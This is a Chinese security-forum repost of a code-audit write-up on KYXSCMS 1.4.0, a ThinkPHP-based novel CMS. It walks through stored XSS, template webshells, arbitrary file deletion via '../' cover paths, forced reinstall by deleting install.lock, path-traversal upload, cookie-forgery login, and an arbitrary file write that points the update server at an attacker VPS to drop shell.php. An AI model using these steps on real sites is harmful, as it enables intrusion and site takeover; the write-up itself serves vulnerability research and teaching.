安全矩阵

 找回密码
 立即注册
搜索
查看: 2734|回复: 0

KYXSCMS 灰盒测试

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-3-1 22:25:34 | 显示全部楼层 |阅读模式
KYXSCMS 灰盒测试原创 DayDay [url=]moonsec[/url] 2022-03-01 14:43
收录于话题
#投稿3个
#代码审计2个
KYXSCMS 灰盒测试
1
前言
    狂雨小说CMS是一个基于TP5.1.33框架的小说内容管理系统。缩写为KYXSCMS。灵活,方便,人性化设计简单易用是最大的特色,是快速架设小说类网站首选,只需5分钟即可建立一个海量小说的行业网站,批量采集目标网站数据或使用数据联盟,即可自动采集获取大量数据。内置标签模版,即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。
本次漏洞挖掘为灰盒测试,使用黑盒测试的直觉定位可能存在的漏洞点,再使用白盒审计的代码理解力去分析漏洞成因,故黑+白=灰。使用该方法挖到的漏洞均有”*“标识,其余漏洞点则大部分为黑盒得到。如果想看看有什么漏洞建议顺序阅读,如果只想学习审计流程思路,建议直接阅读最后的【任意文件写入】
测试系统为1.4.0最新版,站长之家下载;使用PhpStudyV8搭建;测试环境为Windows10+ PHP5.6.9 + Mysql5.7.26。
正文开始。(PS:带有*号标识的为本文重点,最重点为文末最后的【任意文件写入】)
2
漏洞点:
【XSS-1】后台文章编辑器


前台点击文章即可触发。
【XSS-2】后台广告管理+模板管理这里的主要原因是该系统写入数据库的所有数据都没有XSS的过滤
step1:添加广告


step2:模板调用,任意一处插入即可。


【XSS-3】直接修改模板修改模板添加普通的XSS的paylaod保存即可。
【GetShell】直接修改模板修改模板添加普通的一句话木马保存即可。
【*任意文件删除-1】数据管理-->小说管理-->添加-->删除step1:在网站根目录新建一个测试目录,目录下新建测试文件


step2:后台数据管理-->小说管理-->添加,手动输入路径


此时保存后,数据库中Novel表中的pic字段值就为../../test/testdel.txt了。
step3:点击删除


step4:成功删除


代码位置:
漏洞点在application/admin/model/Novel.php


由于添加时封面路径可控,即存入数据库的pic字段的值可控。并且,整段代码并无任何过滤.或/的行为,这就造成了任意文件删除。
删除点在extend/org/File.php


通过动态调试得到的信息可以看到,最终unlink函数中的$filename的值就是我们控制的pic字段的原值,没有任何处理限制就直接删除了。
查找用法,得到如下几处漏洞点
【任意文件删除-2】文章管理处,步骤同上。代码位置
漏洞点在application/admin/model/News.php#127
【任意文件删除-3】文章编辑处将之前的点击删除 改为点击编辑,修改掉封面路径并保存可以达到同样的效果。
代码位置
漏洞点在application/admin/model/News.php#95
【任意文件删除-4】小说编辑处漏洞点在application/admin/model/Novel.php#110
【任意文件删除-5、6】分别为
1.用户管理--上传头像处步骤同上(删除用户触发)
2.管理章节处(导入章节),先随便上传一个txt,然后手动修改路径点击提交,这里会验证分割字符,可以自定义为空格,或者使用默认的换行应该可以通过大部分文件的验证了。


【*配合任意文件删除导致系统重装】利用任意一处删除漏洞点,删除../../application/install/data/install.lock(此处示例利用的点为小说管理处的删除)
删完就这样了:


然后直接访问http://www.kyxs.com/install/index重装(差点以为不能重装)
访问http://www.kyxs.com/index/即可重装
【路径穿越上传】可以将文件上传至任意目录下,可以上传html(但会重写文件名并不返回路径),如果返回路径的话可以算作一个文件上传XSS
http://www.kyxs.com/admin/upload/file?path=../../
代码位置:
application/admin/controller/Upload.php#16pic方法)或26file方法)




原因均为path参数用户可控且五过滤。没明白开发者设置这个参数存在的意义是什么。
【文件包含GetShell】模板功能的绕圈玩法上传Logo处上传图片马会返回路径


模板编辑处可使用模板语法包含该图片,这里在footer.html处修改


访问主页即可触发


【恶意刷积分&经验】只需普通用户登录重复请求
http://www.kyxs.com/user/user/add_exp_points即可刷积分
【*登录鉴别is_login()函数逻辑缺陷】伪造Cookie获得任意账号的登录状态。


可以伪造任意账号的登陆状态,此处利用方式为刷用户积分的请求。同样的,由于存在该登录状态鉴别的逻辑缺陷,会导致普通用户的各种水平越权。(除密码修改,因为密码修改处验证了当前用户密码)。后台管理员身份验证方式为Session,所以是不能垂直向上越权的。
代码位置:
application/common.php#17-46




如代码所示,仅仅使用了sha1算法进行hash之后校验,像这样甚至可以伪造一个不存在的用户:


【任意密码重置】忘记密码拦截包,修改邮箱地址即可收到验证码
【*任意文件写入】利用系统更新功能0x01先分析调用链
更新方法在:application/admin/controller/Upgrade.php#72

public function update(){   $Upgrade=model('upgrade');   if(false !== $up_return=$Upgrade->updates()){       return json(['code'=>1,'number'=>$up_return],200);   }else{       return json(['code'=>0,'error'=>$Upgrade->getError()],200);   }}
逻辑很简单,else分支是返回错误响应,这里需要进入if分支,所以进入$Upgrade->updates()方法继续看
跳转到:application/admin/model/Upgrade.php#54
​​​​​​​
public function updates(){   $num=Request::get('num',0);   $upArray=$this->upContent();  $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);   if(!$upCode){                                  //圈1       $this->error="读取远程升级文件错误,请检测网络!";       return false;   }   $dir = dirname($upArray[$num]['stored_file_name']);   if(!is_dir($dir))       mkdir($dir,0755,true);    if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){  //圈2       $this->error="保存文件错误,请检测文件夹写入权限!";       return false;    }   return $num+1;}
先看整体逻辑,因为肯定不想让程序执行出错,所以最关注的点应该是怎么样能不进入returnfalse的分支。①所以需要$upCode不为false;②系统安装时需要网站目录下所有文件夹的可读可写权限,所以只要保存路径为网站根目录下,就不存在保存文件错误。
这样,重点就放在了1.$this->upContent()方法和2.Http::doGet这个请求方法,依次看
1. 跳转到:application/admin/model/Upgrade.php#72逐行解读upContent()方法
​​​​​​​
public function upContent($id=null,$type=null,$model='updata'){   $content=Cache::get('update_list');   if(!$content){       $url =Config::get('web.official_url').'/upgrade/'.$model.'/'.$id;       if($type){           $url = $url.'/'.$type;       }       $content=Http::doGet($url,30,$this->oauth_access_token);       $content=json_decode($content,true);       Cache::set('update_list',$content);   }   return $content;}
首先尝试从缓存中获取update_list如果获取到就直接return了,这里要想利用的话,肯定是要清理一下系统缓存的(后台有清理功能)
那么进入if,从配置中获取web.official_url,然后拼接/upgrade/updata/$id,对$id没有要求,且因为调用的时候没有传入参数,故这里都是使用默认的参数值,if($type)也是进不去的。
接下来注意到向Http::doGet第三个参数位置传入了$this->oauth_access_token,跟进doGet()大概看了一下,仅仅是作为一个HTTP头来做验证的,而如果为了单纯发请求的话,对这个参数没有任何要求。如下图:


再接下来就是使用json_decode解析数据并写入缓存了(回想upContent()方法首先判断的就是有没有缓存)
2. 跳转到:extend/net/Http.php#46逐行解读doGet()方法,见上图。
因为在updates()方法中调用doGet时只传入了url,且从这段代码中不难看出,对于URL的只是做了添加http://的简单拼接,并没有限制,如果URL可控的话,就可以让程序发起向任意服务器的请求了。
调用链分析完毕
可以得知:1.url可控的话可以向任意服务器发起http请求;
2.upContent()方法返回一个数组,且是经过$content=json_decode($content,true)处理后的数组,所以原始响应数据应该为json格式的。
总结来说:如果请求目标(url)可控,那么$content可控,即$upArray可控;而如果$upArray可控的话,就能够让程序去请求服务器上的指定资源了,即原始响应数据可控。
0x02请求目标是可控的
管理后台提供了SQL语句执行的功能


而关键的服务器地址恰恰是存储在数据库中的config表中的92条记录


这样就可以通过执行SQL语句来修改为任意的服务器地址了


0x03指定请求资源
回头再看看请求资源文件名的方式是什么​​​​​​​
public function updates(){   $num=Request::get('num',0);   $upArray=$this->upContent();  $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);   if(!$upCode){       $this->error="读取远程升级文件错误,请检测网络!";       return false;   }   $dir = dirname($upArray[$num]['stored_file_name']);   if(!is_dir($dir))       mkdir($dir,0755,true);    if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){       $this->error="保存文件错误,请检测文件夹写入权限!";       return false;    }   return $num+1;}
通过$upArray的使用方法不难看出,这是一个二维数组,num默认为0,也就是$upArray[0]['file_name']和$upArray[0]['stored_file_name']两个元素
这里的$upCode并非字面意思,而是获取到了具体的数据,且在下边的代码中会写入$upArray[0]['stored_file_name']名字的一个文件中。
所以代码逻辑就是,请求获取服务器网站根目录的$upArray[0]['file_name']文件,将其写入$upArray[0]['stored_file_name']中。
同时,由于upContent()方法中请求的是拼接了/upgrade/updata/$id,也就是http://my-vps-ip:port/upgrade/updata/$id,的url。所以需要在http://my-vps-ip:port/upgrade/updata/下写好一个文件(index.html为例)因为$id是个num,且不重要。而且是http协议的请求,没有指定请求的文件而仅仅是目录,按照默认网站服务器配置规则,一般会默认访问index.html(注意不是仅仅起个临时服务能解决的哦,用python起的验证过是不行)
而index.html的内容,需要写为:
{"0":{"file_name":"exp.txt","stored_file_name":"shell.php"}}
接着,还需要在自己的Web服务根目录下新建exp.txt,写入<?phpphpinfo();?>。
0x04利用!
在VPS上起一个Web服务:


创建文件1:


创建文件2


只需请求http://www.kyxs.com/admin/upgrade/update,即可在网站根目录下写入shell.php!


事实上,之前提到的先使用后台有缓存清理功能,但事实上是不好用的。
这个清理缓存功能清理不了runtime/cache下的.php缓存,而事实上我在清理了缓存之后,Cache::get('update_list')还是可以获取数据,全局搜索发现是在这里还有存储:


所以说如果是实际的站点的话,还需要确定官方的更新文件中file_name和stored_file_name的值才能进行利用。。。。。。。。
总结本次灰盒测试主要的技术点在于对MVC框架的理解,笔者认为代码审计的基础能力其实就是对”创造“和”破坏“的关系,懂得了如何去写功能才会有能力去挖掘功能点中存在的问题。这篇文章实际上就最后一个漏洞的描述比较清晰(前言有提到),也是由于想到其他漏洞点原理过于简单不适合大篇幅赘述。总的来说,KYXSCMS是比较适合新手去实战联系代码审计的能力的。在此给小伙伴们提一个还能进一步挖掘的点就是这个CMS还有一些phar反序列化问题未在本文说明,有兴趣的可以去研究一下TP5.1.3x的反序列化漏洞。
推荐学习:https://github.com/Mochazz/ThinkPHP-Vuln/tree/master/ThinkPHP5

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 07:44 , Processed in 0.014423 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表